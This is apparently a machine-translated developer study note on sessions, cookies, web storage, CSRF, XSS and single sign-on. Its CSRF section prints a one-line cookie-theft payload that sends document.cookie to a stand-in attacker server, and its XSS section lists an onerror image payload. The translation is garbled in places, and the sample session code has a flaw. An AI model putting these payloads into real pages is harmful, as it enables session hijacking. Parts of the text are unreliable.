сеанс и механизм входа в систему

Node.js .NET внешний интерфейс сервер браузер

githubадрес:кликните сюда

session

концепция

  1. Относится к классу решений, используемых для поддержания состояния между клиентом и сервером.
  2. Структура хранения этого решения

Функции

  • так какSessionОн хранится на стороне сервера в виде текстового файла, поэтому клиент не боится модифицировать содержимое сеанса. (Вы также можете использовать другие методы хранения, такие какredis)

  • SessionОбъекты имеют жизненный цикл

  • SessionЭкземпляр облегченный, так называемый облегченный: это означает, что его создание и удаление не потребляют слишком много ресурсов

  • SessionВнутри объекта есть кеш

использование

SessionОбъект хранит свойства и информацию о конфигурации, необходимые для конкретного сеанса пользователя, вwebИнформация не будет потеряна при переходе страницы

Обычно используется для следующих операций

  1. Хранить информацию, которая поддерживает состояние пользователя на протяжении всего сеанса, например информацию для входа или другую информацию, сгенерированную, когда пользователь просматривает
  2. хранение должно быть толькоперезагрузка страницыпроцесс илиНабор страниц функцийобъекты, которые поддерживают состояние между
  3. Держитеинформация о состоянииПредоставляет доступ к странице с любого устройства в любое время.

ограничение

  1. Чем больше пользователей входит в систему,sessionТребуется больше памяти
  2. каждыйSessionПродолжительность объекта — это время доступа пользователя плюс время бездействия.

зачем нужноsession

Сам протокол HTTP не имеет состояния

Вот пример употребления кофе:

1. Продавец магазина очень силен и может помнить количество потребления каждого клиента.Как только покупатель войдет в кофейню, продавец будет знать, как с ним обращаться. Эта практика заключается в том, что сам протокол поддерживает состояние.

2. Покупателю выдается карта, в которой фиксируется количество потребления и обычно имеет срок годности. Каждый раз, когда клиент совершает покупку, если клиент предъявляет карту, покупка связывается с предыдущей или будущей покупкой. Эта практика заключается в поддержании состояния на стороне клиента.

3. Выдайте покупателю членскую карту, и никакая информация не записывается, кроме номера карты.Каждый раз, когда покупатель совершает покупку, если покупатель предъявляет карту, продавец найдет запись, соответствующую номеру карты, в записи магазина. забронируйте и добавьте информацию о потреблении. . Эта практика заключается в поддержании состояния на стороне сервера.

конкретный механизм

  1. Когда программе нужно создать запрос для клиентаsessionКогда сервер сначала проверяет, содержит ли уже запрос клиентаидентификатор сессии- называетсяsession id, если он уже содержитsession idЭто означает, что для этого клиента ранее была создана сессия, и сервер будет следоватьsession idвозьми этоsessionПолучить его для использования (если он не может быть получен, он может создать новый), если запрос клиента не содержитsession id, создатьsessionи создатьsessionсвязанныйsession id,session idЗначение должно бытьСтрока, которую невозможно повторить или легко найти шаблоны для имитации.,этоsession idБудет возвращен клиенту в этом ответе для сохранения.

  2. так какcookieможет быть искусственно запрещено, должны быть другие механизмы дляcookieМожно еще поставитьsession idпередан обратно на сервер. Метод, который часто используется, называетсяURLпереписать

    Две формы:

    // 作为url附加路径
    'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
    
    
    // 作为查询字符串
    'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
    
  3. старая технология,сформировать скрытые поля, этот метод полезен для предотвращения csrf

выполнить

Сопоставление пользователей и данных на основе файлов cookie

введите пароль вcookie, как только Чу Ан полюбит пароль, связь сопоставления будет потеряна. как правилоsessionСрок действия обычно короткий, и данные будут удалены, когда он истечет.

После того, как сервер проверит запрос пользователяcookieне внесенsession_id, он генерирует для него уникальное и неповторяющееся значение и устанавливает тайм-аут. Если он истекает, сгенерируйте заново, если нет, обновите тайм-аут

var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate  = function () {
	var session = {};
	session.id = (new Date().getTime()) + Math.random();
	session.cookie = {
		expire: (new Date()).getTime() + EXPIRES
	}
	sessions[session.id] = session
}

function (req, res) {
	var id = req.cookies[key];
	if (!id) {
		req.session = generate();
	} else {
		var session = sessions[id];
		if (session) {
			if (session.cookie.expire > new Date().getTime()) {
				session.cookie.expire = new Date().getTime() + EXPIRES;
				req.session = session;
			} else {
				delete sessions[id];
				req.session = generate();
			}
		} else {
			req.session = generate();
		}
	}
}

Компактный подход

Так как закрытие браузера не вызываетsessionудаляется, заставляя серверseesionУстанавливается время истечения срока действия, когда клиент использовался в последний разsessionКогда время превышает это время истечения, сервер может считать, что клиент прекратил деятельность, иsessionУдалить, чтобы освободить место для хранения

reference

http://justsee.iteye.com/blog/1570652

https://baike.baidu.com/item/session/479100?fr=aladdin

https://blog.csdn.net/hjc1984117/article/details/53995816

cookie

Данные, хранящиеся в локальном терминале пользователя

httpЗапросы отправляются автоматически, кроме как между доменами

использовать

Клиент записывает информацию о пользователе

Функции

хранится на жестком дискеcookieМожет совместно использоваться различными процессами браузера, например двумяIEокно. И за сохраненное в памятиcookie, разные браузеры имеют разные методы обработки.

Атрибуты

  1. name:cookieназвание
  2. value:cookieценность
  3. domain: может получить доступcookieДоменное имя определенного уровня доменного имени может получить доступ к файлу cookie доменного имени верхнего уровня.
  4. expires/Max-Age:Дата истечения срока годности
  5. Size:cookieразмер
  6. http:httponlyсобственность, дляtrue,Не работаетdocument.cookieполучить
  7. secure:заtrueтолько вhttpsполучить
  8. path: дочерний путь для доступа к родительскому путиcookie

создать файл cookie

document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";

читать куки

document.cookie

Изменить файлы cookie

document.cookie =

в виде накладки

удалить куки

Установите время истечения в прошедшее время

иlocalStorageиsessionStorageразница

  1. размер хранилища

    • cookieРазмер данных не может превышать 4k.

    • sessionStorageиlocalStorageХотя существуют также ограничения по размеру хранилища, болееcookieГораздо больше, может достигать 5 м и более.

  2. Эффективное время

    • localStorageХраните постоянные данные, данные не будут потеряны после закрытия браузера, если данные не будут активно удалены;

    • sessionStorageДанные автоматически удаляются после закрытия текущего окна браузера.

    • cookieнаборcookieДействителен до истечения срока действия, даже если окно или браузер закрыты

  3. sessionStorage

    • хранилище на уровне сеанса
    • Временно, страница открыта да, страница закрыта нет
    • Данные не передаются
    • Выпрыгнуть со страницы через тег a, затемsessionStorageобщий
  4. localStorage

    • постоянное локальное хранилище
    • постоянное хранение
    • не междоменный
    • обмен данными
  5. cookie

    • cookieгомологичен и соответствуетpathПравила распределяются между документами
    • max-ageустановить в секундахcookieпродолжительность жизни.
    • еслиmax-ageравно 0, это означает удалениеcookie.
    • еслиmax-ageотрицательно, это означает, чтоcookieОн действителен только в этом окне браузера и подокнах, открытых этим окном, и файл cookie становится недействительным после закрытия окна.

как получитьcookie

Есть два http-заголовка, которые конкретно отвечают за настройку и отправкуcookie, они естьSet-Cookieа такжеCookie. Когда сервер возвращает ответное http-сообщение клиенту, если оно содержитSet-CookieКогда этот заголовок используется, это означает указание клиенту создатьcookie, и автоматически отправлять это при последующих HTTP-запросахcookieна стороне сервера, пока этоcookieИстекший. еслиcookietime-to-live — это весь сеанс, тогда браузерcookieХранится в памяти, автоматически очищается при закрытии браузераcookie. В другом случае он сохраняется на жестком диске клиента, если браузер закрыт,cookieОн не будет очищен. В следующий раз, когда вы откроете браузер для посещения соответствующего веб-сайта, этотcookieОн будет автоматически отправлен на сервер снова.

cookieсерверная запись

//java的写法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);

//php 中的写法
setcookie(name,value,expire,path,domain,secure)

reference

https://my.oschina.net/ososchina/blog/339918

https://blog.csdn.net/dong123dddd/article/details/50388656

csrf (подделка межсайтовых запросов)

процесс

  1. Пользователь c открывает браузер и авторизуется на веб-сайте a.
  2. После успешного входа запишите данные для входаcookie
  3. на вебсайтеaОткройте сайт, не выходя из системыb
  4. Веб-сайтbВозвращает оскорбительный код после запроса пользователя на получение веб-сайтаaизcookie, и сделайте запрос на веб-сайт (примечание: здесь два шага)
  5. Веб-сайтaОшибочно подумал, что это запрос от пользователя c

украсть печенье

Вставить абзац на страницу сервера жертвыjavascriptКод (атака межсайтового скриптинга через xss)

document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;

защита

  1. проверятьhttp refererполе
  2. Добавьте токен к адресу запроса

Разработчики системы могутHTTPВ запрос добавляется случайно сгенерированный параметр в виде параметраtoken, и создайте перехватчик на стороне сервера, чтобы проверить этоtoken, если запрос неtokenилиtokenЕсли содержание неверно, считается, что оно может бытьCSRFатаковать и отклонить запрос.

  1. существуетHTTPПользовательские свойства в шапке и валидации (не будут просочены)

reference

http://www.freebuf.com/articles/web/11840.html

xss (межсайтовый скриптинг)

Классификация

  1. Отражающий (непостоянный)

Те уязвимости межсайтового скриптинга, которые браузеры должны отправлять вредоносные данные в параметрах каждый раз, когда они срабатывают.

Может сделать перенаправление доменного имени на вредоносныйURL, отправьте это доменное имя пользователю

  1. хранилище (постоянное)

Относится к отправке вредоносных данных в хранилище (таких как базы данных, текстовые файлы и т. д.),WebКогда приложение выводит, это тип уязвимости межсайтового скриптинга, который считывает вредоносные данные из памяти и выводит их на страницу.

Общие методы атаки

  1. обходитьxss-filter
  2. использоватьimg
  3. пробел, возврат каретки,tabобойти фильтрацию
  4. Используйте такие события, как:<img src=“#” onerror= “alert(1)”/>
  5. css кросс-сайт:background-url
  6. использовать кодировку символов

защита

  1. xss-filter, теги фильтра 2.httpOnly
  2. При выводе переменных на страницу кодировать

reference

http://www.cnblogs.com/wqhwe/p/5416976.html

единый вход в систему

httpпротокол без сохранения состояния

Каждый раз, когда браузер запрашивает, сервер обрабатывает его отдельно

Чтобы идентифицировать запросы браузера и поскольку http является протоколом без сохранения состояния, сервер и браузер должны поддерживать состояние вместе.

механизм сеанса

Когда браузер запрашивает сервер в первый раз, идентификатор сеанса создается и сохраняется браузером, он будет браться при каждом последующем запросе, и после его получения сервер может определить, тот ли это пользователь.

Использование одной системыcookie

Статус входа

При первом обращении браузера к серверу ему необходимо проверить имя пользователя и пароль, при сравнении с базой данных проверка проходит и помечает сессию как «авторизованную».

Проверяйте статус входа при каждом последующем запросе

Единый вход (мультисистемный вход,single sign on,sso)

Пользователи могут войти и выйти из системы один раз, и эффект может быть получен в нескольких системах.

Из-за разных доменов нескольких систем все файлы cookie будут ограничены, и браузер отправляетhttpЗапрос будет автоматически содержать соответствующий доменcookie, не всеcookie

еслиdomainУстановка его в качестве домена верхнего уровня имеет ограничения:

  1. Имена доменов системных групп должны быть унифицированы
  2. Технология, используемая каждой системой, должна быть одинаковой.
  3. cookieнебезопасный

Авторизоваться

По сравнению с единым входом в систему,ssoПри наличии дополнительного центра аутентификации только центр аутентификации принимает информацию о безопасности, такую ​​как имена пользователей и пароли. Другие системы не предоставляют вход в систему и принимают только непрямую авторизацию из центра аутентификации. Косвенная авторизация достигается с помощью токенов,ssoНет проблем с тем, что центр аутентификации проверяет имя пользователя и пароль пользователя и создает токен авторизации.В процессе следующего перехода токен авторизации отправляется в качестве параметра каждой подсистеме, и подсистема получает токен, т. е. авторизован и может заимствовать его.Это создает частичный сеанс, а метод частичного входа в сеанс такой же, как и для одиночной системы. Этот процесс, являющийся принципом единого входа, показан на следующем рисунке.

image

После успешного входа пользователя в систему будет установлен сеанс с центром аутентификации SSO и каждой подсистемой. Сеанс, установленный между пользователем и центром аутентификации SSO, называется глобальным сеансом, а сеанс, установленный пользователем и каждой подсистемой, называется локальный сеанс. После того, как локальный сеанс установлен, пользователь получает доступ к защищенным ресурсам подсистемы, больше не будет передавать центр сертификации sso

выйти

注销

конкретный прыжок

Предположим, что URL-адреса центра сертификации и системы 2:sso.com、system2.com,доступsystem2.comПерейти, потому что вы не вошли в системуsso.com, адрес перехода:http://sso.com?service=http://system2.com(дополнительная информация не требуется), в этот момент он становится браузером иhttp://sso.comСессия между сайтами, эта сессия помечена как зарегистрированная из-за входа в систему 1, поэтому центр аутентификации берет токен, возвращает обратно в соответствии с параметром службы и прикрепляет токен к адресу возврата:http://system2.com?token=token

Как проверить данные для входа

  1. между разными доменами

  2. Разные сайты с одним доменным именем

    • общийcookie
  3. Тот же домен, разные поддомены

    • хранитьsessionIdВсе домены верхнего уровня

reference

https://www.cnblogs.com/wxj-106/p/8097880.html

http://www.cnblogs.com/ywlaker/p/6113927.html#!comments